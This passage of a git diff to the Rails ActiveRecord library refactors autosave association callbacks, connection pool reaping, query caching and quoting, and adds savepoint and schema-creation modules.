model.send(:add_autosave_association_callbacks, reflection)
- super
+ end
+
+ def self.valid_options
+ [ :autosave ]
end
end
included do
- Associations::Builder::Association.class_eval do
- self.valid_options << :autosave
- include AssociationBuilderExtension
- end
+ Associations::Builder::Association.extensions << AssociationBuilderExtension
end
module ClassMethods
private
- def define_non_cyclic_method(name, reflection, &block)
- define_method(name) do |*args|
- result = true; @_already_called ||= {}
- # Loop prevention for validation of associations
- unless @_already_called[[name, reflection.name]]
- begin
- @_already_called[[name, reflection.name]]=true
- result = instance_eval(&block)
- ensure
- @_already_called[[name, reflection.name]]=false
+ def define_non_cyclic_method(name, &block)
+ define_method(name) do |*args|
+ result = true; @_already_called ||= {}
+ # Loop prevention for validation of associations
+ unless @_already_called[name]
+ begin
+ @_already_called[name]=true
+ result = instance_eval(&block)
+ ensure
+ @_already_called[name]=false
+ end
end
- end
- result
+ result
+ end
end
- end
- # Adds validation and save callbacks for the association as specified by
- # the +reflection+.
- #
- # For performance reasons, we don't check whether to validate at runtime.
- # However the validation and callback methods are lazy and those methods
- # get created when they are invoked for the very first time. However,
- # this can change, for instance, when using nested attributes, which is
- # called _after_ the association has been defined. Since we don't want
- # the callbacks to get defined multiple times, there are guards that
- # check if the save or validation methods have already been defined
- # before actually defining them.
- def add_autosave_association_callbacks(reflection)
- save_method = :"autosave_associated_records_for_#{reflection.name}"
- validation_method = :"validate_associated_records_for_#{reflection.name}"
- collection = reflection.collection?
-
- unless method_defined?(save_method)
- if collection
- before_save :before_save_collection_association
-
- define_non_cyclic_method(save_method, reflection) { save_collection_association(reflection) }
- # Doesn't use after_save as that would save associations added in after_create/after_update twice
- after_create save_method
- after_update save_method
- elsif reflection.macro == :has_one
- define_method(save_method) { save_has_one_association(reflection) }
- # Configures two callbacks instead of a single after_save so that
- # the model may rely on their execution order relative to its
- # own callbacks.
- #
- # For example, given that after_creates run before after_saves, if
- # we configured instead an after_save there would be no way to fire
- # a custom after_create callback after the child association gets
- # created.
- after_create save_method
- after_update save_method
- else
- define_non_cyclic_method(save_method, reflection) { save_belongs_to_association(reflection) }
- before_save save_method
+ # Adds validation and save callbacks for the association as specified by
+ # the +reflection+.
+ #
+ # For performance reasons, we don't check whether to validate at runtime.
+ # However the validation and callback methods are lazy and those methods
+ # get created when they are invoked for the very first time. However,
+ # this can change, for instance, when using nested attributes, which is
+ # called _after_ the association has been defined. Since we don't want
+ # the callbacks to get defined multiple times, there are guards that
+ # check if the save or validation methods have already been defined
+ # before actually defining them.
+ def add_autosave_association_callbacks(reflection)
+ save_method = :"autosave_associated_records_for_#{reflection.name}"
+ validation_method = :"validate_associated_records_for_#{reflection.name}"
+ collection = reflection.collection?
+
+ unless method_defined?(save_method)
+ if collection
+ before_save :before_save_collection_association
+
+ define_non_cyclic_method(save_method) { save_collection_association(reflection) }
+ # Doesn't use after_save as that would save associations added in after_create/after_update twice
+ after_create save_method
+ after_update save_method
+ elsif reflection.macro == :has_one
+ define_method(save_method) { save_has_one_association(reflection) }
+ # Configures two callbacks instead of a single after_save so that
+ # the model may rely on their execution order relative to its
+ # own callbacks.
+ #
+ # For example, given that after_creates run before after_saves, if
+ # we configured instead an after_save there would be no way to fire
+ # a custom after_create callback after the child association gets
+ # created.
+ after_create save_method
+ after_update save_method
+ else
+ define_non_cyclic_method(save_method) { save_belongs_to_association(reflection) }
+ before_save save_method
+ end
end
- end
- if reflection.validate? && !method_defined?(validation_method)
- method = (collection ? :validate_collection_association : :validate_single_association)
- define_non_cyclic_method(validation_method, reflection) { send(method, reflection) }
- validate validation_method
+ if reflection.validate? && !method_defined?(validation_method)
+ method = (collection ? :validate_collection_association : :validate_single_association)
+ define_non_cyclic_method(validation_method) { send(method, reflection) }
+ validate validation_method
+ end
end
- end
end
# Reloads the attributes of the object as usual and clears <tt>marked_for_destruction</tt> flag.
@@ -254,172 +257,180 @@ module ActiveRecord
private
- # Returns the record for an association collection that should be validated
- # or saved. If +autosave+ is +false+ only new records will be returned,
- # unless the parent is/was a new record itself.
- def associated_records_to_validate_or_save(association, new_record, autosave)
- if new_record
- association && association.target
- elsif autosave
- association.target.find_all { |record| record.changed_for_autosave? }
- else
- association.target.find_all { |record| record.new_record? }
+ # Returns the record for an association collection that should be validated
+ # or saved. If +autosave+ is +false+ only new records will be returned,
+ # unless the parent is/was a new record itself.
+ def associated_records_to_validate_or_save(association, new_record, autosave)
+ if new_record
+ association && association.target
+ elsif autosave
+ association.target.find_all { |record| record.changed_for_autosave? }
+ else
+ association.target.find_all { |record| record.new_record? }
+ end
end
- end
- # go through nested autosave associations that are loaded in memory (without loading
- # any new ones), and return true if is changed for autosave
- def nested_records_changed_for_autosave?
- self.class.reflect_on_all_autosave_associations.any? do |reflection|
- association = association_instance_get(reflection.name)
- association && Array.wrap(association.target).any? { |a| a.changed_for_autosave? }
+ # go through nested autosave associations that are loaded in memory (without loading
+ # any new ones), and return true if is changed for autosave
+ def nested_records_changed_for_autosave?
+ self.class.reflect_on_all_autosave_associations.any? do |reflection|
+ association = association_instance_get(reflection.name)
+ association && Array.wrap(association.target).any? { |a| a.changed_for_autosave? }
+ end
end
- end
- # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
- # turned on for the association.
- def validate_single_association(reflection)
- association = association_instance_get(reflection.name)
- record = association && association.reader
- association_valid?(reflection, record) if record
- end
+ # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
+ # turned on for the association.
+ def validate_single_association(reflection)
+ association = association_instance_get(reflection.name)
+ record = association && association.reader
+ association_valid?(reflection, record) if record
+ end
- # Validate the associated records if <tt>:validate</tt> or
- # <tt>:autosave</tt> is turned on for the association specified by
- # +reflection+.
- def validate_collection_association(reflection)
- if association = association_instance_get(reflection.name)
- if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
- records.each { |record| association_valid?(reflection, record) }
+ # Validate the associated records if <tt>:validate</tt> or
+ # <tt>:autosave</tt> is turned on for the association specified by
+ # +reflection+.
+ def validate_collection_association(reflection)
+ if association = association_instance_get(reflection.name)
+ if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
+ records.each { |record| association_valid?(reflection, record) }
+ end
end
end
- end
- # Returns whether or not the association is valid and applies any errors to
- # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
- # enabled records if they're marked_for_destruction? or destroyed.
- def association_valid?(reflection, record)
- return true if record.destroyed? || record.marked_for_destruction?
-
- unless valid = record.valid?
- if reflection.options[:autosave]
- record.errors.each do |attribute, message|
- attribute = "#{reflection.name}.#{attribute}"
- errors[attribute] << message
- errors[attribute].uniq!
+ # Returns whether or not the association is valid and applies any errors to
+ # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
+ # enabled records if they're marked_for_destruction? or destroyed.
+ def association_valid?(reflection, record)
+ return true if record.destroyed? || record.marked_for_destruction?
+
+ validation_context = self.validation_context unless [:create, :update].include?(self.validation_context)
+ unless valid = record.valid?(validation_context)
+ if reflection.options[:autosave]
+ record.errors.each do |attribute, message|
+ attribute = "#{reflection.name}.#{attribute}"
+ errors[attribute] << message
+ errors[attribute].uniq!
+ end
+ else
+ errors.add(reflection.name)
end
- else
- errors.add(reflection.name)
end
+ valid
end
- valid
- end
- # Is used as a before_save callback to check while saving a collection
- # association whether or not the parent was a new record before saving.
- def before_save_collection_association
- @new_record_before_save = new_record?
- true
- end
+ # Is used as a before_save callback to check while saving a collection
+ # association whether or not the parent was a new record before saving.
+ def before_save_collection_association
+ @new_record_before_save = new_record?
+ true
+ end
- # Saves any new associated records, or all loaded autosave associations if
- # <tt>:autosave</tt> is enabled on the association.
- #
- # In addition, it destroys all children that were marked for destruction
- # with mark_for_destruction.
- #
- # This all happens inside a transaction, _if_ the Transactions module is included into
- # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
- def save_collection_association(reflection)
- if association = association_instance_get(reflection.name)
- autosave = reflection.options[:autosave]
-
- if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
-
- if autosave
- records_to_destroy = records.select(&:marked_for_destruction?)
- records_to_destroy.each { |record| association.destroy(record) }
- records -= records_to_destroy
- end
+ # Saves any new associated records, or all loaded autosave associations if
+ # <tt>:autosave</tt> is enabled on the association.
+ #
+ # In addition, it destroys all children that were marked for destruction
+ # with mark_for_destruction.
+ #
+ # This all happens inside a transaction, _if_ the Transactions module is included into
+ # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+ def save_collection_association(reflection)
+ if association = association_instance_get(reflection.name)
+ autosave = reflection.options[:autosave]
+
+ if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
+
+ if autosave
+ records_to_destroy = records.select(&:marked_for_destruction?)
+ records_to_destroy.each { |record| association.destroy(record) }
+ records -= records_to_destroy
+ end
- records.each do |record|
+ records.each do |record|
+ next if record.destroyed?
- saved = true
+ saved = true
- if autosave != false && (@new_record_before_save || record.new_record?)
- if autosave
- saved = association.insert_record(record, false)
- else
- association.insert_record(record) unless reflection.nested?
+ if autosave != false && (@new_record_before_save || record.new_record?)
+ if autosave
+ saved = association.insert_record(record, false)
+ else
+ association.insert_record(record) unless reflection.nested?
+ end
+ elsif autosave
+ saved = record.save(:validate => false)
end
- elsif autosave
- saved = record.save(:validate => false)
- end
- raise ActiveRecord::Rollback unless saved
+ raise ActiveRecord::Rollback unless saved
+ end
end
- end
- # reconstruct the scope now that we know the owner's id
- association.reset_scope if association.respond_to?(:reset_scope)
+ # reconstruct the scope now that we know the owner's id
+ association.reset_scope if association.respond_to?(:reset_scope)
+ end
end
- end
- # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
- # on the association.
- #
- # In addition, it will destroy the association if it was marked for
- # destruction with mark_for_destruction.
- #
- # This all happens inside a transaction, _if_ the Transactions module is included into
- # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
- def save_has_one_association(reflection)
- association = association_instance_get(reflection.name)
- record = association && association.load_target
- if record && !record.destroyed?
- autosave = reflection.options[:autosave]
-
- if autosave && record.marked_for_destruction?
- record.destroy
- else
- key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
- if autosave != false && (new_record? || record.new_record? || record[reflection.foreign_key] != key || autosave)
- unless reflection.through_reflection
- record[reflection.foreign_key] = key
- end
+ # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+ # on the association.
+ #
+ # In addition, it will destroy the association if it was marked for
+ # destruction with mark_for_destruction.
+ #
+ # This all happens inside a transaction, _if_ the Transactions module is included into
+ # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+ def save_has_one_association(reflection)
+ association = association_instance_get(reflection.name)
+ record = association && association.load_target
+ if record && !record.destroyed?
+ autosave = reflection.options[:autosave]
- saved = record.save(:validate => !autosave)
- raise ActiveRecord::Rollback if !saved && autosave
- saved
+ if autosave && record.marked_for_destruction?
+ record.destroy
+ else
+ key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
+ if autosave != false && (autosave || new_record? || record_changed?(reflection, record, key))
+
+ unless reflection.through_reflection
+ record[reflection.foreign_key] = key
+ end
+
+ saved = record.save(:validate => !autosave)
+ raise ActiveRecord::Rollback if !saved && autosave
+ saved
+ end
end
end
end
- end
- # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
- #
- # In addition, it will destroy the association if it was marked for destruction.
- def save_belongs_to_association(reflection)
- association = association_instance_get(reflection.name)
- record = association && association.load_target
- if record && !record.destroyed?
- autosave = reflection.options[:autosave]
-
- if autosave && record.marked_for_destruction?
- self[reflection.foreign_key] = nil
- record.destroy
- elsif autosave != false
- saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
-
- if association.updated?
- association_id = record.send(reflection.options[:primary_key] || :id)
- self[reflection.foreign_key] = association_id
- association.loaded!
- end
+ # If the record is new or it has changed, returns true.
+ def record_changed?(reflection, record, key)
+ record.new_record? || record[reflection.foreign_key] != key || record.attribute_changed?(reflection.foreign_key)
+ end
- saved if autosave
+ # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
+ #
+ # In addition, it will destroy the association if it was marked for destruction.
+ def save_belongs_to_association(reflection)
+ association = association_instance_get(reflection.name)
+ record = association && association.load_target
+ if record && !record.destroyed?
+ autosave = reflection.options[:autosave]
+
+ if autosave && record.marked_for_destruction?
+ self[reflection.foreign_key] = nil
+ record.destroy
+ elsif autosave != false
+ saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
+
+ if association.updated?
+ association_id = record.send(reflection.options[:primary_key] || :id)
+ self[reflection.foreign_key] = association_id
+ association.loaded!
+ end
+
+ saved if autosave
+ end
end
end
- end
end
end
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index b06add096f..db4d5f0129 100644
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -4,7 +4,7 @@ require 'active_support/benchmarkable'
require 'active_support/dependencies'
require 'active_support/descendants_tracker'
require 'active_support/time'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/class/delegating_attributes'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/hash/deep_merge'
@@ -18,6 +18,7 @@ require 'arel'
require 'active_record/errors'
require 'active_record/log_subscriber'
require 'active_record/explain_subscriber'
+require 'active_record/relation/delegation'
module ActiveRecord #:nodoc:
# = Active Record
@@ -290,7 +291,10 @@ module ActiveRecord #:nodoc:
extend Translation
extend DynamicMatchers
extend Explain
+ extend Enum
+ extend Delegation::DelegateCache
+ include Core
include Persistence
include ReadonlyAttributes
include ModelSchema
@@ -305,18 +309,18 @@ module ActiveRecord #:nodoc:
include Locking::Optimistic
include Locking::Pessimistic
include AttributeMethods
- include Callbacks
include Timestamp
+ include Callbacks
include Associations
include ActiveModel::SecurePassword
include AutosaveAssociation
include NestedAttributes
include Aggregations
include Transactions
+ include NoTouching
include Reflection
include Serialization
include Store
- include Core
end
ActiveSupport.run_load_hooks(:active_record, Base)
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index e4c484d64b..5955673b42 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -23,11 +23,14 @@ module ActiveRecord
# Check out <tt>ActiveRecord::Transactions</tt> for more details about <tt>after_commit</tt> and
# <tt>after_rollback</tt>.
#
+ # Additionally, an <tt>after_touch</tt> callback is triggered whenever an
+ # object is touched.
+ #
# Lastly an <tt>after_find</tt> and <tt>after_initialize</tt> callback is triggered for each object that
# is found and instantiated by a finder, with <tt>after_initialize</tt> being triggered after new objects
# are instantiated as well.
#
- # That's a total of twelve callbacks, which gives you immense power to react and prepare for each state in the
+ # There are nineteen callbacks in total, which give you immense power to react and prepare for each state in the
# Active Record life cycle. The sequence for calling <tt>Base#save</tt> for an existing record is similar,
# except that each <tt>_create</tt> callback is replaced by the corresponding <tt>_update</tt> callback.
#
@@ -125,7 +128,7 @@ module ActiveRecord
# record.credit_card_number = decrypt(record.credit_card_number)
# end
#
- # alias_method :after_find, :after_save
+ # alias_method :after_initialize, :after_save
#
# private
# def encrypt(value)
@@ -160,7 +163,7 @@ module ActiveRecord
# record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
# end
#
- # alias_method :after_find, :after_save
+ # alias_method :after_initialize, :after_save
#
# private
# def encrypt(value)
@@ -299,11 +302,11 @@ module ActiveRecord
run_callbacks(:save) { super }
end
- def create_record #:nodoc:
+ def _create_record #:nodoc:
run_callbacks(:create) { super }
end
- def update_record(*) #:nodoc:
+ def _update_record(*) #:nodoc:
run_callbacks(:update) { super }
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index 816b397fcf..db80c0faee 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -58,13 +58,11 @@ module ActiveRecord
# * +checkout_timeout+: number of seconds to block and wait for a connection
# before giving up and raising a timeout error (default 5 seconds).
# * +reaping_frequency+: frequency in seconds to periodically run the
- # Reaper, which attempts to find and close dead connections, which can
- # occur if a programmer forgets to close a connection at the end of a
- # thread or a thread dies unexpectedly. (Default nil, which means don't
- # run the Reaper).
- # * +dead_connection_timeout+: number of seconds from last checkout
- # after which the Reaper will consider a connection reapable. (default
- # 5 seconds).
+ # Reaper, which attempts to find and recover connections from dead
+ # threads, which can occur if a programmer forgets to close a
+ # connection at the end of a thread or a thread dies unexpectedly.
+ # Regardless of this setting, the Reaper will be invoked before every
+ # blocking wait. (Default nil, which means don't schedule the Reaper).
class ConnectionPool
# Threadsafe, fair, FIFO queue. Meant to be used by ConnectionPool
# with which it shares a Monitor. But could be a generic Queue.
@@ -86,7 +84,7 @@ module ActiveRecord
end
end
- # Return the number of threads currently waiting on this
+ # Returns the number of threads currently waiting on this
# queue.
def num_waiting
synchronize do
@@ -222,7 +220,7 @@ module ActiveRecord
include MonitorMixin
- attr_accessor :automatic_reconnect, :checkout_timeout, :dead_connection_timeout
+ attr_accessor :automatic_reconnect, :checkout_timeout
attr_reader :spec, :connections, :size, :reaper
# Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
@@ -237,7 +235,6 @@ module ActiveRecord
@spec = spec
@checkout_timeout = spec.config[:checkout_timeout] || 5
- @dead_connection_timeout = spec.config[:dead_connection_timeout] || 5
@reaper = Reaper.new self, spec.config[:reaping_frequency]
@reaper.run
@@ -332,11 +329,6 @@ module ActiveRecord
end
end
- def clear_stale_cached_connections! # :nodoc:
- reap
- end
- deprecate :clear_stale_cached_connections! => "Please use #reap instead"
-
# Check-out a database connection from the pool, indicating that you want
# to use it. You should call #checkin when you no longer need this.
#
@@ -366,11 +358,13 @@ module ActiveRecord
# calling +checkout+ on this pool.
def checkin(conn)
synchronize do
+ owner = conn.owner
+
conn.run_callbacks :checkin do
conn.expire
end
- release conn
+ release conn, owner
@available.add conn
end
@@ -383,22 +377,28 @@ module ActiveRecord
@connections.delete conn
@available.delete conn
- # FIXME: we might want to store the key on the connection so that removing
- # from the reserved hash will be a little easier.
- release conn
+ release conn, conn.owner
@available.add checkout_new_connection if @available.any_waiting?
end
end
- # Removes dead connections from the pool. A dead connection can occur
- # if a programmer forgets to close a connection at the end of a thread
+ # Recover lost connections for the pool. A lost connection can occur if
+ # a programmer forgets to checkin a connection at the end of a thread
# or a thread dies unexpectedly.
def reap
- synchronize do
- stale = Time.now - @dead_connection_timeout
- connections.dup.each do |conn|
- if conn.in_use? && stale > conn.last_use && !conn.active?
+ stale_connections = synchronize do
+ @connections.select do |conn|
+ conn.in_use? && !conn.owner.alive?
+ end
+ end
+
+ stale_connections.each do |conn|
+ synchronize do
+ if conn.active?
+ conn.reset!
+ checkin conn
+ else
remove conn
end
end
@@ -420,20 +420,15 @@ module ActiveRecord
elsif @connections.size < @size
checkout_new_connection
else
+ reap
@available.poll(@checkout_timeout)
end
end
- def release(conn)
- thread_id = if @reserved_connections[current_connection_id] == conn
- current_connection_id
- else
- @reserved_connections.keys.find { |k|
- @reserved_connections[k] == conn
- }
- end
+ def release(conn, owner)
+ thread_id = owner.object_id
- @reserved_connections.delete thread_id if thread_id
+ @reserved_connections.delete thread_id
end
def new_connection
@@ -543,7 +538,10 @@ module ActiveRecord
# for (not necessarily the current class).
def retrieve_connection(klass) #:nodoc:
pool = retrieve_connection_pool(klass)
- (pool && pool.connection) or raise ConnectionNotEstablished
+ raise ConnectionNotEstablished, "No connection pool for #{klass}" unless pool
+ conn = pool.connection
+ raise ConnectionNotEstablished, "No connection for #{klass} in connection pool" unless conn
+ conn
end
# Returns true if a connection that's accessible to this class has
@@ -629,7 +627,7 @@ module ActiveRecord
end
response
- rescue
+ rescue Exception
ActiveRecord::Base.clear_active_connections! unless testing
raise
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index c64b542286..bc47412405 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -9,26 +9,33 @@ module ActiveRecord
# Converts an arel AST to SQL
def to_sql(arel, binds = [])
if arel.respond_to?(:ast)
- binds = binds.dup
- visitor.accept(arel.ast) do
- quote(*binds.shift.reverse)
- end
+ collected = visitor.accept(arel.ast, collector)
+ collected.compile(binds.dup, self)
else
arel
end
end
- # Returns an array of record hashes with the column names as keys and
- # column values as values.
+ # This is used in the StatementCache object. It returns an object that
+ # can be used to query the database repeatedly.
+ def cacheable_query(arel) # :nodoc:
+ if prepared_statements
+ ActiveRecord::StatementCache.query visitor, arel.ast
+ else
+ ActiveRecord::StatementCache.partial_query visitor, arel.ast, collector
+ end
+ end
+
+ # Returns an ActiveRecord::Result instance.
def select_all(arel, name = nil, binds = [])
+ arel, binds = binds_from_relation arel, binds
select(to_sql(arel, binds), name, binds)
end
# Returns a record hash with the column names as keys and column values
# as values.
def select_one(arel, name = nil, binds = [])
- result = select_all(arel, name, binds)
- result.first if result
+ select_all(arel, name, binds).first
end
# Returns a single value from a record
@@ -41,13 +48,13 @@ module ActiveRecord
# Returns an array of the values of the first column in a select:
# select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
def select_values(arel, name = nil)
- result = select_rows(to_sql(arel, []), name)
- result.map { |v| v[0] }
+ arel, binds = binds_from_relation arel, []
+ select_rows(to_sql(arel, binds), name, binds).map(&:first)
end
# Returns an array of arrays containing the field values.
# Order is the same as that returned by +columns+.
- def select_rows(sql, name = nil)
+ def select_rows(sql, name = nil, binds = [])
end
undef_method :select_rows
@@ -303,10 +310,6 @@ module ActiveRecord
"DEFAULT VALUES"
end
- def case_sensitive_equality_operator
- "="
- end
-
def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
"WHERE #{quoted_primary_key} IN (SELECT #{quoted_primary_key} FROM #{quoted_table_name} #{where_sql})"
end
@@ -323,7 +326,7 @@ module ActiveRecord
def sanitize_limit(limit)
if limit.is_a?(Integer) || limit.is_a?(Arel::Nodes::SqlLiteral)
limit
- elsif limit.to_s =~ /,/
+ elsif limit.to_s.include?(',')
Arel.sql limit.to_s.split(',').map{ |i| Integer(i) }.join(',')
else
Integer(limit)
@@ -348,15 +351,14 @@ module ActiveRecord
protected
- # Return a subquery for the given key using the join information.
+ # Returns a subquery for the given key using the join information.
def subquery_for(key, select)
subselect = select.clone
subselect.projections = [key]
subselect
end
- # Returns an array of record hashes with the column names as keys and
- # column values as values.
+ # Returns an ActiveRecord::Result instance.
def select(sql, name = nil, binds = [])
end
undef_method :select
@@ -377,14 +379,21 @@ module ActiveRecord
update_sql(sql, name)
end
- def sql_for_insert(sql, pk, id_value, sequence_name, binds)
- [sql, binds]
- end
+ def sql_for_insert(sql, pk, id_value, sequence_name, binds)
+ [sql, binds]
+ end
- def last_inserted_id(result)
- row = result.rows.first
- row && row.first
- end
+ def last_inserted_id(result)
+ row = result.rows.first
+ row && row.first
+ end
+
+ def binds_from_relation(relation, binds)
+ if relation.is_a?(Relation) && binds.empty?
+ relation, binds = relation.arel, relation.bind_values
+ end
+ [relation, binds]
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 41e07fbda9..4a4506c7f5 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -9,10 +9,10 @@ module ActiveRecord
def dirties_query_cache(base, *method_names)
method_names.each do |method_name|
base.class_eval <<-end_code, __FILE__, __LINE__ + 1
- def #{method_name}(*) # def update_with_query_dirty(*)
- clear_query_cache if @query_cache_enabled # clear_query_cache if @query_cache_enabled
- super # super
- end # end
+ def #{method_name}(*)
+ clear_query_cache if @query_cache_enabled
+ super
+ end
end_code
end
end
@@ -20,13 +20,19 @@ module ActiveRecord
attr_reader :query_cache, :query_cache_enabled
+ def initialize(*)
+ super
+ @query_cache = Hash.new { |h,sql| h[sql] = {} }
+ @query_cache_enabled = false
+ end
+
# Enable the query cache within the block.
def cache
old, @query_cache_enabled = @query_cache_enabled, true
yield
ensure
- clear_query_cache
@query_cache_enabled = old
+ clear_query_cache unless @query_cache_enabled
end
def enable_query_cache!
@@ -57,6 +63,7 @@ module ActiveRecord
def select_all(arel, name = nil, binds = [])
if @query_cache_enabled && !locked?(arel)
+ arel, binds = binds_from_relation arel, binds
sql = to_sql(arel, binds)
cache_sql(sql, binds) { super(sql, name, binds) }
else
@@ -75,14 +82,7 @@ module ActiveRecord
else
@query_cache[sql][binds] = yield
end
-
- # FIXME: we should guarantee that all cached items are Result
- # objects. Then we can avoid this conditional
- if ActiveRecord::Result === result
- result.dup
- else
- result.collect { |row| row.dup }
- end
+ result.dup
end
# If arel is locked this is a SELECT ... FOR UPDATE or somesuch. Such
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
index d18b9c991f..75501852ed 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -15,7 +15,6 @@ module ActiveRecord
return "'#{quote_string(value)}'" unless column
case column.type
- when :binary then "'#{quote_string(column.string_to_binary(value))}'"
when :integer then value.to_i.to_s
when :float then value.to_f.to_s
else
@@ -44,7 +43,9 @@ module ActiveRecord
# SQLite does not understand dates, so this method will convert a Date
# to a String.
def type_cast(value, column)
- return value.id if value.respond_to?(:quoted_id)
+ if value.respond_to?(:quoted_id) && value.respond_to?(:id)
+ return value.id
+ end
case value
when String, ActiveSupport::Multibyte::Chars
@@ -52,7 +53,6 @@ module ActiveRecord
return value unless column
case column.type
- when :binary then value
when :integer then value.to_i
when :float then value.to_f
else
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
new file mode 100644
index 0000000000..25c17ce971
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
@@ -0,0 +1,21 @@
+module ActiveRecord
+ module ConnectionAdapters
+ module Savepoints #:nodoc:
+ def supports_savepoints?
+ true
+ end
+
+ def create_savepoint(name = current_savepoint_name)
+ execute("SAVEPOINT #{name}")
+ end
+
+ def rollback_to_savepoint(name = current_savepoint_name)
+ execute("ROLLBACK TO SAVEPOINT #{name}")
+ end
+
+ def release_savepoint(name = current_savepoint_name)
+ execute("RELEASE SAVEPOINT #{name}")
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
new file mode 100644
index 0000000000..47fe501752
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
@@ -0,0 +1,90 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class AbstractAdapter
+ class SchemaCreation # :nodoc:
+ def initialize(conn)
+ @conn = conn
+ @cache = {}
+ end
+
+ def accept(o)
+ m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
+ send m, o
+ end
+
+ def visit_AddColumn(o)
+ sql_type = type_to_sql(o.type, o.limit, o.precision, o.scale)
+ sql = "ADD #{quote_column_name(o.name)} #{sql_type}"
+ add_column_options!(sql, column_options(o))
+ end
+
+ private
+
+ def visit_AlterTable(o)
+ sql = "ALTER TABLE #{quote_table_name(o.name)} "
+ sql << o.adds.map { |col| visit_AddColumn col }.join(' ')
+ end
+
+ def visit_ColumnDefinition(o)
+ sql_type = type_to_sql(o.type, o.limit, o.precision, o.scale)
+ column_sql = "#{quote_column_name(o.name)} #{sql_type}"
+ add_column_options!(column_sql, column_options(o)) unless o.primary_key?
+ column_sql
+ end
+
+ def visit_TableDefinition(o)
+ create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE "
+ create_sql << "#{quote_table_name(o.name)} "
+ create_sql << "(#{o.columns.map { |c| accept c }.join(', ')}) " unless o.as
+ create_sql << "#{o.options}"
+ create_sql << " AS #{@conn.to_sql(o.as)}" if o.as
+ create_sql
+ end
+
+ def column_options(o)
+ column_options = {}
+ column_options[:null] = o.null unless o.null.nil?
+ column_options[:default] = o.default unless o.default.nil?
+ column_options[:column] = o
+ column_options[:first] = o.first
+ column_options[:after] = o.after
+ column_options
+ end
+
+ def quote_column_name(name)
+ @conn.quote_column_name name
+ end
+
+ def quote_table_name(name)
+ @conn.quote_table_name name
+ end
+
+ def type_to_sql(type, limit, precision, scale)
+ @conn.type_to_sql type.to_sym, limit, precision, scale
+ end
+
+ def add_column_options!(sql, options)
+ sql << " DEFAULT #{quote_value(options[:default], options[:column])}" if options_include_default?(options)
+ # must explicitly check for :null to allow change_column to work on migrations
+ if options[:null] == false
+ sql << " NOT NULL"
+ end
+ if options[:auto_increment] == true
+ sql << " AUTO_INCREMENT"
+ end
+ sql
+ end
+
+ def quote_value(value, column)
+ column.sql_type ||= type_to_sql(column.type, column.limit, column.precision, column.scale)
+
+ @conn.quote(value, column)
+ end
+
+ def options_include_default?(options)
+ options.include?(:default) && !(options[:null] == false && options[:default].nil?)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 0be4b5cb19..71c3a4378b 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
